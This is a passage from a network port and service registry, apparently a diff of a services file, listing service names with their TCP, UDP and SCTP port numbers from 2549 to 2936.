2549/tcp IPASS +ipass 2549/udp IPASS +ads 2550/tcp ADS +ads 2550/udp ADS +isg-uda-server 2551/tcp ISG UDA Server +isg-uda-server 2551/udp ISG UDA Server +call-logging 2552/tcp Call Logging +call-logging 2552/udp Call Logging +efidiningport 2553/tcp efidiningport +efidiningport 2553/udp efidiningport +vcnet-link-v10 2554/tcp VCnet-Link v10 +vcnet-link-v10 2554/udp VCnet-Link v10 +compaq-wcp 2555/tcp Compaq WCP +compaq-wcp 2555/udp Compaq WCP +nicetec-nmsvc 2556/tcp nicetec-nmsvc +nicetec-nmsvc 2556/udp nicetec-nmsvc +nicetec-mgmt 2557/tcp nicetec-mgmt +nicetec-mgmt 2557/udp nicetec-mgmt +pclemultimedia 2558/tcp PCLE Multi Media +pclemultimedia 2558/udp PCLE Multi Media +lstp 2559/tcp LSTP +lstp 2559/udp LSTP +labrat 2560/tcp labrat +labrat 2560/udp labrat +mosaixcc 2561/tcp MosaixCC +mosaixcc 2561/udp MosaixCC +delibo 2562/tcp Delibo +delibo 2562/udp Delibo +cti-redwood 2563/tcp CTI Redwood +cti-redwood 2563/udp CTI Redwood +hp-3000-telnet 2564/tcp HP 3000 NS/VT block mode telnet +coord-svr 2565/tcp Coordinator Server +coord-svr 2565/udp Coordinator Server +pcs-pcw 2566/tcp pcs-pcw +pcs-pcw 2566/udp pcs-pcw +clp 2567/tcp Cisco Line Protocol +clp 2567/udp Cisco Line Protocol +spamtrap 2568/tcp SPAM TRAP +spamtrap 2568/udp SPAM TRAP +sonuscallsig 2569/tcp Sonus Call Signal +sonuscallsig 2569/udp Sonus Call Signal +hs-port 2570/tcp HS Port +hs-port 2570/udp HS Port +cecsvc 2571/tcp CECSVC +cecsvc 2571/udp CECSVC +ibp 2572/tcp IBP +ibp 2572/udp IBP +trustestablish 2573/tcp Trust Establish +trustestablish 2573/udp Trust Establish +blockade-bpsp 2574/tcp Blockade BPSP +blockade-bpsp 2574/udp Blockade BPSP +hl7 2575/tcp HL7 +hl7 2575/udp HL7 +tclprodebugger 2576/tcp TCL Pro Debugger +tclprodebugger 2576/udp TCL Pro Debugger +scipticslsrvr 2577/tcp Scriptics Lsrvr +scipticslsrvr 2577/udp Scriptics Lsrvr +rvs-isdn-dcp 2578/tcp RVS ISDN DCP +rvs-isdn-dcp 2578/udp RVS ISDN DCP +mpfoncl 2579/tcp mpfoncl +mpfoncl 2579/udp mpfoncl +tributary 2580/tcp Tributary +tributary 2580/udp Tributary +argis-te 2581/tcp ARGIS TE +argis-te 2581/udp ARGIS TE +argis-ds 2582/tcp ARGIS DS +argis-ds 2582/udp ARGIS DS +mon 2583/tcp MON +mon 2583/udp MON +cyaserv 2584/tcp cyaserv +cyaserv 2584/udp cyaserv +netx-server 2585/tcp NETX Server +netx-server 2585/udp NETX Server +netx-agent 2586/tcp NETX Agent +netx-agent 2586/udp NETX Agent +masc 2587/tcp MASC +masc 2587/udp MASC +privilege 2588/tcp Privilege +privilege 2588/udp Privilege +quartus-tcl 2589/tcp quartus tcl +quartus-tcl 2589/udp quartus tcl +idotdist 2590/tcp idotdist +idotdist 2590/udp idotdist +maytagshuffle 2591/tcp Maytag Shuffle +maytagshuffle 2591/udp Maytag Shuffle +netrek 2592/tcp netrek +netrek 2592/udp netrek +mns-mail 2593/tcp MNS Mail Notice Service +mns-mail 2593/udp MNS Mail Notice Service +dts 2594/tcp Data Base Server +dts 2594/udp Data Base Server +worldfusion1 2595/tcp World Fusion 1 +worldfusion1 2595/udp World Fusion 1 +worldfusion2 2596/tcp World Fusion 2 +worldfusion2 2596/udp World Fusion 2 +homesteadglory 2597/tcp Homestead Glory +homesteadglory 2597/udp Homestead Glory +citriximaclient 2598/tcp Citrix MA Client +citriximaclient 2598/udp Citrix MA Client +snapd 2599/tcp Snap Discovery +snapd 2599/udp Snap Discovery +hpstgmgr 2600/tcp HPSTGMGR +hpstgmgr 2600/udp HPSTGMGR +discp-client 2601/tcp discp client +discp-client 2601/udp discp client +discp-server 2602/tcp discp server +discp-server 2602/udp discp server +servicemeter 2603/tcp Service Meter +servicemeter 2603/udp Service Meter +nsc-ccs 2604/tcp NSC CCS +nsc-ccs 2604/udp NSC CCS +nsc-posa 2605/tcp NSC POSA +nsc-posa 2605/udp NSC POSA +netmon 2606/tcp Dell Netmon +netmon 2606/udp Dell Netmon +connection 2607/tcp Dell Connection +connection 2607/udp Dell Connection +wag-service 2608/tcp Wag Service +wag-service 2608/udp Wag Service +system-monitor 2609/tcp System Monitor +system-monitor 2609/udp System Monitor +versa-tek 2610/tcp VersaTek +versa-tek 2610/udp VersaTek +lionhead 2611/tcp LIONHEAD +lionhead 2611/udp LIONHEAD +qpasa-agent 2612/tcp Qpasa Agent +qpasa-agent 2612/udp Qpasa Agent +smntubootstrap 2613/tcp SMNTUBootstrap +smntubootstrap 2613/udp SMNTUBootstrap +neveroffline 2614/tcp Never Offline +neveroffline 2614/udp Never Offline +firepower 2615/tcp firepower +firepower 2615/udp firepower +appswitch-emp 2616/tcp appswitch-emp +appswitch-emp 2616/udp appswitch-emp +cmadmin 2617/tcp Clinical Context Managers +cmadmin 2617/udp Clinical Context Managers +priority-e-com 2618/tcp Priority E-Com +priority-e-com 2618/udp Priority E-Com +bruce 2619/tcp bruce +bruce 2619/udp bruce +lpsrecommender 2620/tcp LPSRecommender +lpsrecommender 2620/udp LPSRecommender +miles-apart 2621/tcp Miles Apart Jukebox Server +miles-apart 2621/udp Miles Apart Jukebox Server +metricadbc 2622/tcp MetricaDBC +metricadbc 2622/udp MetricaDBC +lmdp 2623/tcp LMDP +lmdp 2623/udp LMDP +aria 2624/tcp Aria +aria 2624/udp Aria +blwnkl-port 2625/tcp Blwnkl Port +blwnkl-port 2625/udp Blwnkl Port +gbjd816 2626/tcp gbjd816 +gbjd816 2626/udp gbjd816 +moshebeeri 2627/tcp Moshe Beeri +moshebeeri 2627/udp Moshe Beeri +dict 2628/tcp DICT +dict 2628/udp DICT +sitaraserver 2629/tcp Sitara Server +sitaraserver 2629/udp Sitara Server +sitaramgmt 2630/tcp Sitara Management +sitaramgmt 2630/udp Sitara Management +sitaradir 2631/tcp Sitara Dir +sitaradir 2631/udp Sitara Dir +irdg-post 2632/tcp IRdg Post +irdg-post 2632/udp IRdg Post +interintelli 2633/tcp InterIntelli +interintelli 2633/udp InterIntelli +pk-electronics 2634/tcp PK Electronics +pk-electronics 2634/udp PK Electronics +backburner 2635/tcp Back Burner +backburner 2635/udp Back Burner +solve 2636/tcp Solve +solve 2636/udp Solve +imdocsvc 2637/tcp Import Document Service +imdocsvc 2637/udp Import Document Service +sybaseanywhere 2638/tcp Sybase Anywhere +sybaseanywhere 2638/udp Sybase Anywhere +aminet 2639/tcp AMInet +aminet 2639/udp AMInet +sai_sentlm 2640/tcp Sabbagh Associates Licence Manager +sai_sentlm 2640/udp Sabbagh Associates Licence Manager +hdl-srv 2641/tcp HDL Server +hdl-srv 2641/udp HDL Server +tragic 2642/tcp Tragic +tragic 2642/udp Tragic +gte-samp 2643/tcp GTE-SAMP +gte-samp 2643/udp GTE-SAMP +travsoft-ipx-t 2644/tcp Travsoft IPX Tunnel +travsoft-ipx-t 2644/udp Travsoft IPX Tunnel +novell-ipx-cmd 2645/tcp Novell IPX CMD +novell-ipx-cmd 2645/udp Novell IPX CMD +and-lm 2646/tcp AND License Manager +and-lm 2646/udp AND License Manager +syncserver 2647/tcp SyncServer +syncserver 2647/udp SyncServer +upsnotifyprot 2648/tcp Upsnotifyprot +upsnotifyprot 2648/udp Upsnotifyprot +vpsipport 2649/tcp VPSIPPORT +vpsipport 2649/udp VPSIPPORT +eristwoguns 2650/tcp eristwoguns +eristwoguns 2650/udp eristwoguns +ebinsite 2651/tcp EBInSite +ebinsite 2651/udp EBInSite +interpathpanel 2652/tcp InterPathPanel +interpathpanel 2652/udp InterPathPanel +sonus 2653/tcp Sonus +sonus 2653/udp Sonus +corel_vncadmin 2654/tcp Corel VNC Admin +corel_vncadmin 2654/udp Corel VNC Admin +unglue 2655/tcp UNIX Nt Glue +unglue 2655/udp UNIX Nt Glue +kana 2656/tcp Kana +kana 2656/udp Kana +sns-dispatcher 2657/tcp SNS Dispatcher +sns-dispatcher 2657/udp SNS Dispatcher +sns-admin 2658/tcp SNS Admin +sns-admin 2658/udp SNS Admin +sns-query 2659/tcp SNS Query +sns-query 2659/udp SNS Query +gcmonitor 2660/tcp GC Monitor +gcmonitor 2660/udp GC Monitor +olhost 2661/tcp OLHOST +olhost 2661/udp OLHOST +bintec-capi 2662/tcp BinTec-CAPI +bintec-capi 2662/udp BinTec-CAPI +bintec-tapi 2663/tcp BinTec-TAPI +bintec-tapi 2663/udp BinTec-TAPI +patrol-mq-gm 2664/tcp Patrol for MQ GM +patrol-mq-gm 2664/udp Patrol for MQ GM +patrol-mq-nm 2665/tcp Patrol for MQ NM +patrol-mq-nm 2665/udp Patrol for MQ NM +extensis 2666/tcp extensis +extensis 2666/udp extensis +alarm-clock-s 2667/tcp Alarm Clock Server +alarm-clock-s 2667/udp Alarm Clock Server +alarm-clock-c 2668/tcp Alarm Clock Client +alarm-clock-c 2668/udp Alarm Clock Client +toad 2669/tcp TOAD +toad 2669/udp TOAD +tve-announce 2670/tcp TVE Announce +tve-announce 2670/udp TVE Announce +newlixreg 2671/tcp newlixreg +newlixreg 2671/udp newlixreg +nhserver 2672/tcp nhserver +nhserver 2672/udp nhserver +firstcall42 2673/tcp First Call 42 +firstcall42 2673/udp First Call 42 +ewnn 2674/tcp ewnn +ewnn 2674/udp ewnn +ttc-etap 2675/tcp TTC ETAP +ttc-etap 2675/udp TTC ETAP +simslink 2676/tcp SIMSLink +simslink 2676/udp SIMSLink +gadgetgate1way 2677/tcp Gadget Gate 1 Way +gadgetgate1way 2677/udp Gadget Gate 1 Way +gadgetgate2way 2678/tcp Gadget Gate 2 Way +gadgetgate2way 2678/udp Gadget Gate 2 Way +syncserverssl 2679/tcp Sync Server SSL +syncserverssl 2679/udp Sync Server SSL +pxc-sapxom 2680/tcp pxc-sapxom +pxc-sapxom 2680/udp pxc-sapxom +mpnjsomb 2681/tcp mpnjsomb +mpnjsomb 2681/udp mpnjsomb +ncdloadbalance 2683/tcp NCDLoadBalance +ncdloadbalance 2683/udp NCDLoadBalance +mpnjsosv 2684/tcp mpnjsosv +mpnjsosv 2684/udp mpnjsosv +mpnjsocl 2685/tcp mpnjsocl +mpnjsocl 2685/udp mpnjsocl +mpnjsomg 2686/tcp mpnjsomg +mpnjsomg 2686/udp mpnjsomg +pq-lic-mgmt 2687/tcp pq-lic-mgmt +pq-lic-mgmt 2687/udp pq-lic-mgmt +md-cg-http 2688/tcp md-cf-http +md-cg-http 2688/udp md-cf-http +fastlynx 2689/tcp FastLynx +fastlynx 2689/udp FastLynx +hp-nnm-data 2690/tcp HP NNM Embedded Database +hp-nnm-data 2690/udp HP NNM Embedded Database +itinternet 2691/tcp ITInternet ISM Server +itinternet 2691/udp ITInternet ISM Server +admins-lms 2692/tcp Admins LMS +admins-lms 2692/udp Admins LMS +pwrsevent 2694/tcp pwrsevent +pwrsevent 2694/udp pwrsevent +vspread 2695/tcp VSPREAD +vspread 2695/udp VSPREAD +unifyadmin 2696/tcp Unify Admin +unifyadmin 2696/udp Unify Admin +oce-snmp-trap 2697/tcp Oce SNMP Trap Port +oce-snmp-trap 2697/udp Oce SNMP Trap Port +mck-ivpip 2698/tcp MCK-IVPIP +mck-ivpip 2698/udp MCK-IVPIP +csoft-plusclnt 2699/tcp Csoft Plus Client +csoft-plusclnt 2699/udp Csoft Plus Client +tqdata 2700/tcp tqdata +tqdata 2700/udp tqdata +sms-rcinfo 2701/tcp SMS RCINFO +sms-rcinfo 2701/udp SMS RCINFO +sms-xfer 2702/tcp SMS XFER +sms-xfer 2702/udp SMS XFER +sms-chat 2703/tcp SMS CHAT +sms-chat 2703/udp SMS CHAT +sms-remctrl 2704/tcp SMS REMCTRL +sms-remctrl 2704/udp SMS REMCTRL +sds-admin 2705/tcp SDS Admin +sds-admin 2705/udp SDS Admin +ncdmirroring 2706/tcp NCD Mirroring +ncdmirroring 2706/udp NCD Mirroring +emcsymapiport 2707/tcp EMCSYMAPIPORT +emcsymapiport 2707/udp EMCSYMAPIPORT +banyan-net 2708/tcp Banyan-Net +banyan-net 2708/udp Banyan-Net +supermon 2709/tcp Supermon +supermon 2709/udp Supermon +sso-service 2710/tcp SSO Service +sso-service 2710/udp SSO Service +sso-control 2711/tcp SSO Control +sso-control 2711/udp SSO Control +aocp 2712/tcp Axapta Object Communication Protocol +aocp 2712/udp Axapta Object Communication Protocol +raven1 2713/tcp Raven1 +raven1 2713/udp Raven1 +raven2 2714/tcp Raven2 +raven2 2714/udp Raven2 +hpstgmgr2 2715/tcp HPSTGMGR2 +hpstgmgr2 2715/udp HPSTGMGR2 +inova-ip-disco 2716/tcp Inova IP Disco +inova-ip-disco 2716/udp Inova IP Disco +pn-requester 2717/tcp PN REQUESTER +pn-requester 2717/udp PN REQUESTER +pn-requester2 2718/tcp PN REQUESTER 2 +pn-requester2 2718/udp PN REQUESTER 2 +scan-change 2719/tcp Scan & Change +scan-change 2719/udp Scan & Change +wkars 2720/tcp wkars +wkars 2720/udp wkars +smart-diagnose 2721/tcp Smart Diagnose +smart-diagnose 2721/udp Smart Diagnose +proactivesrvr 2722/tcp Proactive Server +proactivesrvr 2722/udp Proactive Server +watchdognt 2723/tcp WatchDog NT +watchdognt 2723/udp WatchDog NT +qotps 2724/tcp qotps +qotps 2724/udp qotps +msolap-ptp2 2725/tcp MSOLAP PTP2 +msolap-ptp2 2725/udp MSOLAP PTP2 +tams 2726/tcp TAMS +tams 2726/udp TAMS +mgcp-callagent 2727/tcp Media Gateway Control Protocol Call Agent +mgcp-callagent 2727/udp Media Gateway Control Protocol Call Agent +sqdr 2728/tcp SQDR +sqdr 2728/udp SQDR +tcim-control 2729/tcp TCIM Control +tcim-control 2729/udp TCIM Control +nec-raidplus 2730/tcp NEC RaidPlus +nec-raidplus 2730/udp NEC RaidPlus +fyre-messanger 2731/tcp Fyre Messanger +fyre-messanger 2731/udp Fyre Messagner +g5m 2732/tcp G5M +g5m 2732/udp G5M +signet-ctf 2733/tcp Signet CTF +signet-ctf 2733/udp Signet CTF +ccs-software 2734/tcp CCS Software +ccs-software 2734/udp CCS Software +netiq-mc 2735/tcp NetIQ Monitor Console +netiq-mc 2735/udp NetIQ Monitor Console +radwiz-nms-srv 2736/tcp RADWIZ NMS SRV +radwiz-nms-srv 2736/udp RADWIZ NMS SRV +srp-feedback 2737/tcp SRP Feedback +srp-feedback 2737/udp SRP Feedback +ndl-tcp-ois-gw 2738/tcp NDL TCP-OSI Gateway +ndl-tcp-ois-gw 2738/udp NDL TCP-OSI Gateway +tn-timing 2739/tcp TN Timing +tn-timing 2739/udp TN Timing +alarm 2740/tcp Alarm +alarm 2740/udp Alarm +tsb 2741/tcp TSB +tsb 2741/udp TSB +tsb2 2742/tcp TSB2 +tsb2 2742/udp TSB2 +murx 2743/tcp murx +murx 2743/udp murx +honyaku 2744/tcp honyaku +honyaku 2744/udp honyaku +urbisnet 2745/tcp URBISNET +urbisnet 2745/udp URBISNET +cpudpencap 2746/tcp CPUDPENCAP +cpudpencap 2746/udp CPUDPENCAP +fjippol-swrly 2747/tcp +fjippol-swrly 2747/udp +fjippol-polsvr 2748/tcp +fjippol-polsvr 2748/udp +fjippol-cnsl 2749/tcp +fjippol-cnsl 2749/udp +fjippol-port1 2750/tcp +fjippol-port1 2750/udp +fjippol-port2 2751/tcp +fjippol-port2 2751/udp +rsisysaccess 2752/tcp RSISYS ACCESS +rsisysaccess 2752/udp RSISYS ACCESS +de-spot 2753/tcp de-spot +de-spot 2753/udp de-spot +apollo-cc 2754/tcp APOLLO CC +apollo-cc 2754/udp APOLLO CC +expresspay 2755/tcp Express Pay +expresspay 2755/udp Express Pay +simplement-tie 2756/tcp simplement-tie +simplement-tie 2756/udp simplement-tie +cnrp 2757/tcp CNRP +cnrp 2757/udp CNRP +apollo-status 2758/tcp APOLLO Status +apollo-status 2758/udp APOLLO Status +apollo-gms 2759/tcp APOLLO GMS +apollo-gms 2759/udp APOLLO GMS +sabams 2760/tcp Saba MS +sabams 2760/udp Saba MS +dicom-iscl 2761/tcp DICOM ISCL +dicom-iscl 2761/udp DICOM ISCL +dicom-tls 2762/tcp DICOM TLS +dicom-tls 2762/udp DICOM TLS +desktop-dna 2763/tcp Desktop DNA +desktop-dna 2763/udp Desktop DNA +data-insurance 2764/tcp Data Insurance +data-insurance 2764/udp Data Insurance +qip-audup 2765/tcp qip-audup +qip-audup 2765/udp qip-audup +compaq-scp 2766/tcp Compaq SCP +compaq-scp 2766/udp Compaq SCP +uadtc 2767/tcp UADTC +uadtc 2767/udp UADTC +uacs 2768/tcp UACS +uacs 2768/udp UACS +exce 2769/tcp eXcE +exce 2769/udp eXcE +veronica 2770/tcp Veronica +veronica 2770/udp Veronica +vergencecm 2771/tcp Vergence CM +vergencecm 2771/udp Vergence CM +auris 2772/tcp auris +auris 2772/udp auris +rbakcup1 2773/tcp RBackup Remote Backup +rbakcup1 2773/udp RBackup Remote Backup +rbakcup2 2774/tcp RBackup Remote Backup +rbakcup2 2774/udp RBackup Remote Backup +smpp 2775/tcp SMPP +smpp 2775/udp SMPP +ridgeway1 2776/tcp Ridgeway Systems & Software +ridgeway1 2776/udp Ridgeway Systems & Software +ridgeway2 2777/tcp Ridgeway Systems & Software +ridgeway2 2777/udp Ridgeway Systems & Software +gwen-sonya 2778/tcp Gwen-Sonya +gwen-sonya 2778/udp Gwen-Sonya +lbc-sync 2779/tcp LBC Sync +lbc-sync 2779/udp LBC Sync +lbc-control 2780/tcp LBC Control +lbc-control 2780/udp LBC Control +whosells 2781/tcp whosells +whosells 2781/udp whosells +everydayrc 2782/tcp everydayrc +everydayrc 2782/udp everydayrc +aises 2783/tcp AISES +aises 2783/udp AISES +www-dev 2784/tcp world wide web - development +www-dev 2784/udp world wide web - development +aic-np 2785/tcp aic-np +aic-np 2785/udp aic-np +aic-oncrpc 2786/tcp aic-oncrpc - Destiny MCD database +aic-oncrpc 2786/udp aic-oncrpc - Destiny MCD database +piccolo 2787/tcp piccolo - Cornerstone Software +piccolo 2787/udp piccolo - Cornerstone Software +fryeserv 2788/tcp NetWare Loadable Module - Seagate Software +fryeserv 2788/udp NetWare Loadable Module - Seagate Software +media-agent 2789/tcp Media Agent +media-agent 2789/udp Media Agent +plgproxy 2790/tcp PLG Proxy +plgproxy 2790/udp PLG Proxy +mtport-regist 2791/tcp MT Port Registrator +mtport-regist 2791/udp MT Port Registrator +f5-globalsite 2792/tcp f5-globalsite +f5-globalsite 2792/udp f5-globalsite +initlsmsad 2793/tcp initlsmsad +initlsmsad 2793/udp initlsmsad +aaftp 2794/tcp aaftp +aaftp 2794/udp aaftp +livestats 2795/tcp LiveStats +livestats 2795/udp LiveStats +ac-tech 2796/tcp ac-tech +ac-tech 2796/udp ac-tech +esp-encap 2797/tcp esp-encap +esp-encap 2797/udp esp-encap +tmesis-upshot 2798/tcp TMESIS-UPShot +tmesis-upshot 2798/udp TMESIS-UPShot +icon-discover 2799/tcp ICON Discover +icon-discover 2799/udp ICON Discover +acc-raid 2800/tcp ACC RAID +acc-raid 2800/udp ACC RAID +igcp 2801/tcp IGCP +igcp 2801/udp IGCP +veritas-tcp1 2802/tcp Veritas TCP1 +veritas-udp1 2802/udp Veritas UDP1 +btprjctrl 2803/tcp btprjctrl +btprjctrl 2803/udp btprjctrl +dvr-esm 2804/tcp March Networks Digital Video Recorders and Enterprise Service Manager products +dvr-esm 2804/udp March Networks Digital Video Recorders and Enterprise Service Manager products +wta-wsp-s 2805/tcp WTA WSP-S +wta-wsp-s 2805/udp WTA WSP-S +cspuni 2806/tcp cspuni +cspuni 2806/udp cspuni +cspmulti 2807/tcp cspmulti +cspmulti 2807/udp cspmulti +j-lan-p 2808/tcp J-LAN-P +j-lan-p 2808/udp J-LAN-P +corbaloc 2809/tcp CORBA LOC +corbaloc 2809/udp CORBA LOC +netsteward 2810/tcp Active Net Steward +netsteward 2810/udp Active Net Steward +gsiftp 2811/tcp GSI FTP +gsiftp 2811/udp GSI FTP +atmtcp 2812/tcp atmtcp +atmtcp 2812/udp atmtcp +llm-pass 2813/tcp llm-pass +llm-pass 2813/udp llm-pass +llm-csv 2814/tcp llm-csv +llm-csv 2814/udp llm-csv +lbc-measure 2815/tcp LBC Measurement +lbc-measure 2815/udp LBC Measurement +lbc-watchdog 2816/tcp LBC Watchdog +lbc-watchdog 2816/udp LBC Watchdog +nmsigport 2817/tcp NMSig Port +nmsigport 2817/udp NMSig Port +rmlnk 2818/tcp rmlnk +rmlnk 2818/udp rmlnk +fc-faultnotify 2819/tcp FC Fault Notification +fc-faultnotify 2819/udp FC Fault Notification +univision 2820/tcp UniVision +univision 2820/udp UniVision +vrts-at-port 2821/tcp VERITAS Authentication Service +vrts-at-port 2821/udp VERITAS Authentication Service +ka0wuc 2822/tcp ka0wuc +ka0wuc 2822/udp ka0wuc +cqg-netlan 2823/tcp CQG Net/LAN +cqg-netlan 2823/udp CQG Net/LAN +cqg-netlan-1 2824/tcp CQG Net/LAN 1 +cqg-netlan-1 2824/udp CQG Net/Lan 1 +slc-systemlog 2826/tcp slc systemlog +slc-systemlog 2826/udp slc systemlog +slc-ctrlrloops 2827/tcp slc ctrlrloops +slc-ctrlrloops 2827/udp slc ctrlrloops +itm-lm 2828/tcp ITM License Manager +itm-lm 2828/udp ITM License Manager +silkp1 2829/tcp silkp1 +silkp1 2829/udp silkp1 +silkp2 2830/tcp silkp2 +silkp2 2830/udp silkp2 +silkp3 2831/tcp silkp3 +silkp3 2831/udp silkp3 +silkp4 2832/tcp silkp4 +silkp4 2832/udp silkp4 +glishd 2833/tcp glishd +glishd 2833/udp glishd +evtp 2834/tcp EVTP +evtp 2834/udp EVTP +evtp-data 2835/tcp EVTP-DATA +evtp-data 2835/udp EVTP-DATA +catalyst 2836/tcp catalyst +catalyst 2836/udp catalyst +repliweb 2837/tcp Repliweb +repliweb 2837/udp Repliweb +starbot 2838/tcp Starbot +starbot 2838/udp Starbot +nmsigport 2839/tcp NMSigPort +nmsigport 2839/udp NMSigPort +l3-exprt 2840/tcp l3-exprt +l3-exprt 2840/udp l3-exprt +l3-ranger 2841/tcp l3-ranger +l3-ranger 2841/udp l3-ranger +l3-hawk 2842/tcp l3-hawk +l3-hawk 2842/udp l3-hawk +pdnet 2843/tcp PDnet +pdnet 2843/udp PDnet +bpcp-poll 2844/tcp BPCP POLL +bpcp-poll 2844/udp BPCP POLL +bpcp-trap 2845/tcp BPCP TRAP +bpcp-trap 2845/udp BPCP TRAP +aimpp-hello 2846/tcp AIMPP Hello +aimpp-hello 2846/udp AIMPP Hello +aimpp-port-req 2847/tcp AIMPP Port Req +aimpp-port-req 2847/udp AIMPP Port Req +amt-blc-port 2848/tcp AMT-BLC-PORT +amt-blc-port 2848/udp AMT-BLC-PORT +fxp 2849/tcp FXP +fxp 2849/udp FXP +metaconsole 2850/tcp MetaConsole +metaconsole 2850/udp MetaConsole +webemshttp 2851/tcp webemshttp +webemshttp 2851/udp webemshttp +bears-01 2852/tcp bears-01 +bears-01 2852/udp bears-01 +ispipes 2853/tcp ISPipes +ispipes 2853/udp ISPipes +infomover 2854/tcp InfoMover +infomover 2854/udp InfoMover +cesdinv 2856/tcp cesdinv +cesdinv 2856/udp cesdinv +simctlp 2857/tcp SimCtIP +simctlp 2857/udp SimCtIP +ecnp 2858/tcp ECNP +ecnp 2858/udp ECNP +activememory 2859/tcp Active Memory +activememory 2859/udp Active Memory +dialpad-voice1 2860/tcp Dialpad Voice 1 +dialpad-voice1 2860/udp Dialpad Voice 1 +dialpad-voice2 2861/tcp Dialpad Voice 2 +dialpad-voice2 2861/udp Dialpad Voice 2 +ttg-protocol 2862/tcp TTG Protocol +ttg-protocol 2862/udp TTG Protocol +sonardata 2863/tcp Sonar Data +sonardata 2863/udp Sonar Data +astromed-main 2864/tcp main 5001 cmd +astromed-main 2864/udp main 5001 cmd +pit-vpn 2865/tcp pit-vpn +pit-vpn 2865/udp pit-vpn +iwlistener 2866/tcp iwlistener +iwlistener 2866/udp iwlistener +esps-portal 2867/tcp esps-portal +esps-portal 2867/udp esps-portal +npep-messaging 2868/tcp NPEP Messaging +npep-messaging 2868/udp NPEP Messaging +icslap 2869/tcp ICSLAP +icslap 2869/udp ICSLAP +daishi 2870/tcp daishi +daishi 2870/udp daishi +msi-selectplay 2871/tcp MSI Select Play +msi-selectplay 2871/udp MSI Select Play +radix 2872/tcp RADIX +radix 2872/udp RADIX +dxmessagebase1 2874/tcp dxmessagebase1 +dxmessagebase1 2874/udp dxmessagebase1 +dxmessagebase2 2875/tcp dxmessagebase2 +dxmessagebase2 2875/udp dxmessagebase2 +sps-tunnel 2876/tcp SPS Tunnel +sps-tunnel 2876/udp SPS Tunnel +bluelance 2877/tcp BLUELANCE +bluelance 2877/udp BLUELANCE +aap 2878/tcp AAP +aap 2878/udp AAP +ucentric-ds 2879/tcp ucentric-ds +ucentric-ds 2879/udp ucentric-ds +synapse 2880/tcp Synapse Transport +synapse 2880/udp Synapse Transport +ndsp 2881/tcp NDSP +ndsp 2881/udp NDSP +ndtp 2882/tcp NDTP +ndtp 2882/udp NDTP +ndnp 2883/tcp NDNP +ndnp 2883/udp NDNP +flashmsg 2884/tcp Flash Msg +flashmsg 2884/udp Flash Msg +topflow 2885/tcp TopFlow +topflow 2885/udp TopFlow +responselogic 2886/tcp RESPONSELOGIC +responselogic 2886/udp RESPONSELOGIC +aironetddp 2887/tcp aironet +aironetddp 2887/udp aironet +spcsdlobby 2888/tcp SPCSDLOBBY +spcsdlobby 2888/udp SPCSDLOBBY +rsom 2889/tcp RSOM +rsom 2889/udp RSOM +cspclmulti 2890/tcp CSPCLMULTI +cspclmulti 2890/udp CSPCLMULTI +cinegrfx-elmd 2891/tcp CINEGRFX-ELMD License Manager +cinegrfx-elmd 2891/udp CINEGRFX-ELMD License Manager +snifferdata 2892/tcp SNIFFERDATA +snifferdata 2892/udp SNIFFERDATA +vseconnector 2893/tcp VSECONNECTOR +vseconnector 2893/udp VSECONNECTOR +abacus-remote 2894/tcp ABACUS-REMOTE +abacus-remote 2894/udp ABACUS-REMOTE +natuslink 2895/tcp NATUS LINK +natuslink 2895/udp NATUS LINK +ecovisiong6-1 2896/tcp ECOVISIONG6-1 +ecovisiong6-1 2896/udp ECOVISIONG6-1 +citrix-rtmp 2897/tcp Citrix RTMP +citrix-rtmp 2897/udp Citrix RTMP +appliance-cfg 2898/tcp APPLIANCE-CFG +appliance-cfg 2898/udp APPLIANCE-CFG +powergemplus 2899/tcp POWERGEMPLUS +powergemplus 2899/udp POWERGEMPLUS +quicksuite 2900/tcp QUICKSUITE +quicksuite 2900/udp QUICKSUITE +allstorcns 2901/tcp ALLSTORCNS +allstorcns 2901/udp ALLSTORCNS +netaspi 2902/tcp NET ASPI +netaspi 2902/udp NET ASPI +suitcase 2903/tcp SUITCASE +suitcase 2903/udp SUITCASE +m2ua 2904/tcp M2UA +m2ua 2904/udp M2UA +m2ua 2904/sctp M2UA +m3ua 2905/tcp M3UA +m3ua 2905/udp De-registered (2001 June 07) +m3ua 2905/sctp M3UA +caller9 2906/tcp CALLER9 +caller9 2906/udp CALLER9 +webmethods-b2b 2907/tcp WEBMETHODS B2B +webmethods-b2b 2907/udp WEBMETHODS B2B +mao 2908/tcp mao +mao 2908/udp mao +funk-dialout 2909/tcp Funk Dialout +funk-dialout 2909/udp Funk Dialout +tdaccess 2910/tcp TDAccess +tdaccess 2910/udp TDAccess +blockade 2911/tcp Blockade +blockade 2911/udp Blockade +epicon 2912/tcp Epicon +epicon 2912/udp Epicon +boosterware 2913/tcp Booster Ware +boosterware 2913/udp Booster Ware +gamelobby 2914/tcp Game Lobby +gamelobby 2914/udp Game Lobby +tksocket 2915/tcp TK Socket +tksocket 2915/udp TK Socket +elvin_server 2916/tcp Elvin Server +elvin_server 2916/udp Elvin Server +elvin_client 2917/tcp Elvin Client +elvin_client 2917/udp Elvin Client +kastenchasepad 2918/tcp Kasten Chase Pad +kastenchasepad 2918/udp Kasten Chase Pad +roboer 2919/tcp roboER +roboer 2919/udp roboER +roboeda 2920/tcp roboEDA +roboeda 2920/udp roboEDA +cesdcdman 2921/tcp CESD Contents Delivery Management +cesdcdman 2921/udp CESD Contents Delivery Management +cesdcdtrn 2922/tcp CESD Contents Delivery Data Transfer +cesdcdtrn 2922/udp CESD Contents Delivery Data Transfer +wta-wsp-wtp-s 2923/tcp WTA-WSP-WTP-S +wta-wsp-wtp-s 2923/udp WTA-WSP-WTP-S +precise-vip 2924/tcp PRECISE-VIP +precise-vip 2924/udp PRECISE-VIP +mobile-file-dl 2926/tcp MOBILE-FILE-DL +mobile-file-dl 2926/udp MOBILE-FILE-DL +unimobilectrl 2927/tcp UNIMOBILECTRL +unimobilectrl 2927/udp UNIMOBILECTRL +redstone-cpss 2928/tcp REDSTONE-CPSS +redstone-cpss 2928/udp REDSTONE-CPSS +amx-webadmin 2929/tcp AMX-WEBADMIN +amx-webadmin 2929/udp AMX-WEBADMIN +amx-weblinx 2930/tcp AMX-WEBLINX +amx-weblinx 2930/udp AMX-WEBLINX +circle-x 2931/tcp Circle-X +circle-x 2931/udp Circle-X +incp 2932/tcp INCP +incp 2932/udp INCP +4-tieropmgw 2933/tcp 4-TIER OPM GW +4-tieropmgw 2933/udp 4-TIER OPM GW +4-tieropmcli 2934/tcp 4-TIER OPM CLI +4-tieropmcli 2934/udp 4-TIER OPM CLI +qtp 2935/tcp QTP +qtp 2935/udp QTP +otpatch 2936/tcp OTPatch 